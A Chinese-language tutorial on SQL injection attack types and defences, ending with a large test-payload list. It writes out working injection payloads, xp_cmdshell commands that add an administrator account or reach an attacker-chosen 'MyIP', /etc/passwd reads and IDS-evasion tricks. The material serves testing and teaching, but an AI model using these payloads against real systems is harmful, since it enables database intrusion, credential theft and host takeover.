SQL Injection 的多種攻擊方式與防護討論
SQL injection 是超過10年以上眾所皆知的攻擊,
但是到現在還是很普遍的攻擊,因為還是有許多疏於防護的應用系統,
這篇文章主要說明7種SQL Injection的攻擊方式與原理。
7種 SQL injection攻擊
SQL injection的攻擊可以分為 7 種類型。如下圖:
1. SQL Injection 運作基本原理
SELECT * FROM users WHERE login = ‘victor‘ AND password = ‘123‘
駭客只要將使用者姓名與密碼更換,就可以巧妙的逃避帳號密碼的檢查
SELECT * FROM users WHERE username = ‘ ‘ or 1=1 – – AND password = ‘anything‘
防護上有個迷失就是將 ‘ 變成 ” 就可以解決這樣的問題,這是錯誤的!
‘ 變成 ” 僅能解決字串,對於數字或是日期的資料還是無法避免 SQL injection。
2. 數值資料的 SQL injection
對於數值之料的運作並不會有 ‘ 或是 “的出現,因此單純的 ‘ 轉換為 “並無法有效的阻止 SQL injection
SELECT * FROM clients WHERE account = 12345678 AND pin = 1111
SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111
3. SQL Injection 測試字元符號
那麼可不可以用字元符號來判斷有沒有 SQL injection呢? 也不可以!
筆者這裡僅列出SQL injection 常會看到的符號。但是駭客有其他的方式可以逃避這樣的偵查。稍後說明。
建議可以用下列等符號在表單與許多參數進行輸入驗證測試。
- ‘ or “
- — or #
- /*…*/
- +
- ||
- %
- ?var1=name&var2=password
- @variable or @@variable
- waitfor delay ‘0:0:10’
- UNION
- ‘ ” ) # || + >
- %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)
4. 取得錯誤訊息
接著駭客就會透過特別的錯誤訊息來得知資料庫的版本資訊。MSSQL or MySQL等。
進一步,錯誤訊息可以告訴我們欄位的值。
- ‘ group by columnnames having 1=1 – –
- ‘ union select 1,1,’text’,1,1,1 – –
- ‘ union select 1,1, bigint,1,1,1 – –
- ‘ and 1 in (select ‘text’ ) – –
- ‘ and 1 in (select x from temp) —
- ‘ and 1 in (select substring (x, 256, 256) from temp) —
- ‘ and 1 in (select substring (x, 512, 256) from temp) —
- ‘ drop table temp —
5. Blind Injection
如果無法回傳錯誤訊息,駭客就必須透過 Blind Injection的方式來取得必要資訊。
原理就是利用等待時間。如果條件 A為真,就等待5秒,否則不等待。透過這樣的方式獲取資料庫更進一步的訊息。
‘ and condition and ‘1’=’1
‘; if condition waitfor delay ‘0:0:5’ —
‘; union select if( condition , benchmark (100000, sha1(‘test’)), ‘false’ ),1,1,1,1;
透過 Store procedure
,@variable
?Param1=foo&Param2=bar
PRINT @@variable
Database 間的差異
6. 找出使用者權限
可以透過下列SQL 輸入找出使用者目前權限
- ‘ and 1 in (select user ) —
- ‘; if user =’dbo’ waitfor delay ‘0:0:5 ‘–
- ‘ union select if( user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’ );
7. 發覺資料庫的資料結構
可以透過下列方式輸入得知資料庫 Table, Column等名稱。
- ‘ group by columnnames having 1=1 —
- ‘ union select sum(columnname ) from tablename —
- ‘ and 1 in (select min(name) from sysobjects where xtype = ‘U’ and name > ‘.’) —
- SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘tablename ‘)
- show columns from tablename
- ‘ union select 0, sysobjects.name + ‘: ‘ + syscolumns.name + ‘: ‘ + systypes.name, 1, 1, ‘1’, 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = ‘U’ AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype —
- ‘ and 1 in (select min(name ) from master.dbo.sysdatabases where name >’.’ ) —
- ‘ and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >’.’ ) —
資料庫通常會有系統資料表,如果這些系統資料表沒有設定適當的存取權限,也會被駭客使用。
- MS SQL Server: sysobjects syscolumns systypes sysdatabases
- MySQL: mysql.user mysql.host mysql.db
8. 查詢帳號密碼
- ‘; begin declare @var varchar(8000) set @var=’:’ select @var=@var+’ ‘+login+’/’+password+’ ‘ from users where login>@varselect @var as var into temp end —
- ‘ and 1 in (select var from temp) —
- ‘ ; drop table temp —
- ‘; insert into users select 4,’Victor’,’Chapela’,’victor’,’Pass123′ —
9. 與作業系統互動
如果資料庫權限設定不當,這是最危險的一種攻擊。
因為透過SQL可以執行許多作業系統的指令或是取得機密檔案。
最常見的就是 “xp_cmdshell“的指令。這個指令可以執行作業系統任何指令。
- ‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
- create table temp( line blob );
- load data infile ‘/etc/passwd’ into table temp;
- select * from temp;
- ‘; exec master..xp_cmdshell ‘ipconfig > test.txt’ —
- ‘ and 1 in (select substring(x,1,256) from temp) —
- ‘; declare @var sysname; set @var = ‘del test.txt’; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp —
- ‘ union select 1, (load_file(‘/etc/passwd’)),1,1,1;
- ‘; exec xp_cmdshell ‘net user /add victor Pass123’–
- ‘; exec xp_cmdshell ‘net localgroup /add administrators victor’ —
- ‘; exec master..xp_servicecontrol ‘start’,’FTP Publishing’ —
10. 取得資料庫相關資訊
- ‘ and 1 in (select @@servername ) —
- ‘ and 1 in (select srvname from master..sysservers ) —
- ‘; exec master..xp_cmdshell ‘nslookup a.com MyIP’ —
- ‘; exec master..xp_cmdshell ‘ping MyIP’ —
透過xp_cmdshell的執行下列指令
- Ipconfig /all
- Tracert myIP
- arp -a
- nbtstat -c
- netstat -ano
- route print
11. 駭客如何躲避 IDS的偵測?
‘ OR 1=1 是最常見的 SQL injection 輸入,因此 IDS 對於這樣的輸入會偵測到並且攔截。
駭客當然不會這樣輸入,駭客會做一些變化,只要輸入 OR 後的條件永遠為True 皆可。舉例如下:
- ‘ OR ‘unusual’ = ‘unusual’
- ‘ OR ‘something’ = ‘some’+’thing’
- ‘ OR ‘text’ = N’text’
- ‘ OR ‘something’ like ‘some%’
- ‘ OR 2 > 1
- ‘ OR ‘text’ > ‘t’
- ‘ OR ‘whatever’ IN (‘whatever’)
- ‘ OR 2 BETWEEN 1 AND 3
對於資安測試來說,也可以透過這些輸入驗證 IDS是否可以有效的偵測這些攻擊。
12. 透過Encoding 的方式逃避IDS
常見 encoding 的方式有
- URL encoding
- Unicode/UTF-8
- Hex enconding
- char() function
駭客輸入 | 實際意義 |
‘ or username like char(37); | ‘ or username like %; |
‘ union select * from users where login = char(114,111,111,116); | ‘ union select * from users where login = root |
‘ union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; | /etc/passwd |
13. 透過程式註解逃避檢查
駭客輸入 | 實際意義 |
UNION/**/SELECT/**/ | UNION SELECT |
‘/**/OR/**/1/**/=/**/1 | ‘ OR 1 = 1 |
‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’) | ‘; EXEC (‘SELECT USER’) |
SQL injection安全防護
1. 採用程式語言提供的 Prepared statement來做參數的輸入
- Java EE – use PreparedStatement() with bind variables
- .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
- PHP – use PDO with strongly typed parameterized queries (using bindParam())
2. 盡量使用 Stored Procedure
3. 對於輸入的參數做檢查! 合法字元與輸入的長度等。
4. 最小權限原則。原則上給予需要的最低權限。
5. 對於使用者輸入進行編碼,例如 MySQL
" (0x22) --> \" % (0x25) --> \% ' (0x27) --> \' \ (0x5c) --> \\
資料庫伺服器的防護
- 最小權限原則。
- 移除不必要的 Stored procedure
- 限制 public system tables的權限
- Audit所有的帳號的登入行為
- 移除沒有用到的 network protocol
- 防火牆與 IDS 的佈署
SQL Injection 練習
對於SQL injection 運作基本原理,可以試著執行下列基本指令。
[pastacode lang=”sql” message=”” highlight=”” provider=”manual”]
-- SQL version: select @@version
select [Department].Name from [HumanResources].[Department]
where [Department].name = 'Engineering'
select @@version
select [Department].Name from [HumanResources].[Department]
where [Department].name = 'Engineering' AND 1 = 2
UNION SELECT @@version --
select [Department].Name from [HumanResources].[Department]
where [Department].name = 'Engineering'
UNION SELECT @@version
select * from [HumanResources].[Department]
where [Department].name = 'Executive'
UNION SELECT @@version,NULL,NULL,NULL
select [Department].Name from [HumanResources].[Department]
where [Department].name = 'Executive'
UNION SELECT @@version
select [Department].Name from [HumanResources].[Department]
where [Department].name = 'Executive'
AND 1=0
UNION SELECT @@version
-- Using Data Convert and force error
select [Department].Name from [HumanResources].[Department]
where [Department].name = 'Executive'
AND 1 = CONVERT(int,db_name())
-- Using Waitfor delay to know hte SQL version
select @@version
select substring((select @@version),25,1)
if substring((select @@version),25,1) = 2 waitfor delay '0:0:10'
-- ASCII code
select ascii('r')
select ascii('o')
select ascii('o')
select ascii('t')
[/pastacode]
SQL injection 測試資料
[pastacode lang=”sql” message=”” highlight=”” provider=”manual”]
Statement
'sqlvuln
'+sqlvuln
sqlvuln;
(sqlvuln)
a' or 1=1--
"a"" or 1=1--"
or a = a
a' or 'a' = 'a
1 or 1=1
a' waitfor delay '0:0:10'--
1 waitfor delay '0:0:10'--
declare @q nvarchar (4000) select @q =
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
0
031003000270000
declare @s varchar(22) select @s =
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
exec(@s)
a'
?
' or 1=1
бе or 1=1 --
x' AND userid IS NULL; --
x' AND email IS NULL; --
anything' OR 'x'='x
x' AND 1=(SELECT COUNT(*) FROM tabname); --
x' AND members.email IS NULL; --
x' OR full_name LIKE '%Bob%
23 OR 1=1
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
'
'%20or%20''='
'%20or%20'x'='x
%20or%20x=x
')%20or%20('x'='x
0 or 1=1
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
or 0=0 #"
or 0=0 #
' or 1=1--
" or 1=1--
' or '1'='1'--
' or 1 --'
or 1=1--
or%201=1
or%201=1 --
' or 1=1 or ''='
or 1=1 or ""=
' or a=a--
or a=a
') or ('a'='a
) or (a=a
hi or a=a
hi or 1=1 --"
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
"hi"") or (""a""=""a"
'hi' or 'x'='x';
@variable
,@variable
PRINT
PRINT @@variable
select
insert
as
or
procedure
limit
order by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
bfilename
' or username like '%
' or uname like '%
' or userid like '%
' or uid like '%
' or user like '%
exec xp
exec sp
'; exec master..xp_cmdshell
'; exec xp_regread
t'exec master..xp_cmdshell 'nslookup www.google.com'--
--sp_password
\x27UNION SELECT
' UNION SELECT
' UNION ALL SELECT
' or (EXISTS)
' (select top 1
'||UTL_HTTP.REQUEST
1;SELECT%20*
to_timestamp_tz
tz_offset
<>"'%;)(&+
'%20or%201=1
%27%20or%201=1
%20$(sleep%2050)
%20'sleep%2050'
char%4039%41%2b%40SELECT
'%20OR
'sqlattempt1
(sqlattempt2)
|
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
(
%28
)
%29
&
%26
!
%21
' or 1=1 or ''='
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
a' or 3=3--
"a"" or 3=3--"
' or 3=3
бе or 3=3 --
[/pastacode]
參考資料https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Victor Chapela: “Advanced SQL Injection” –http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt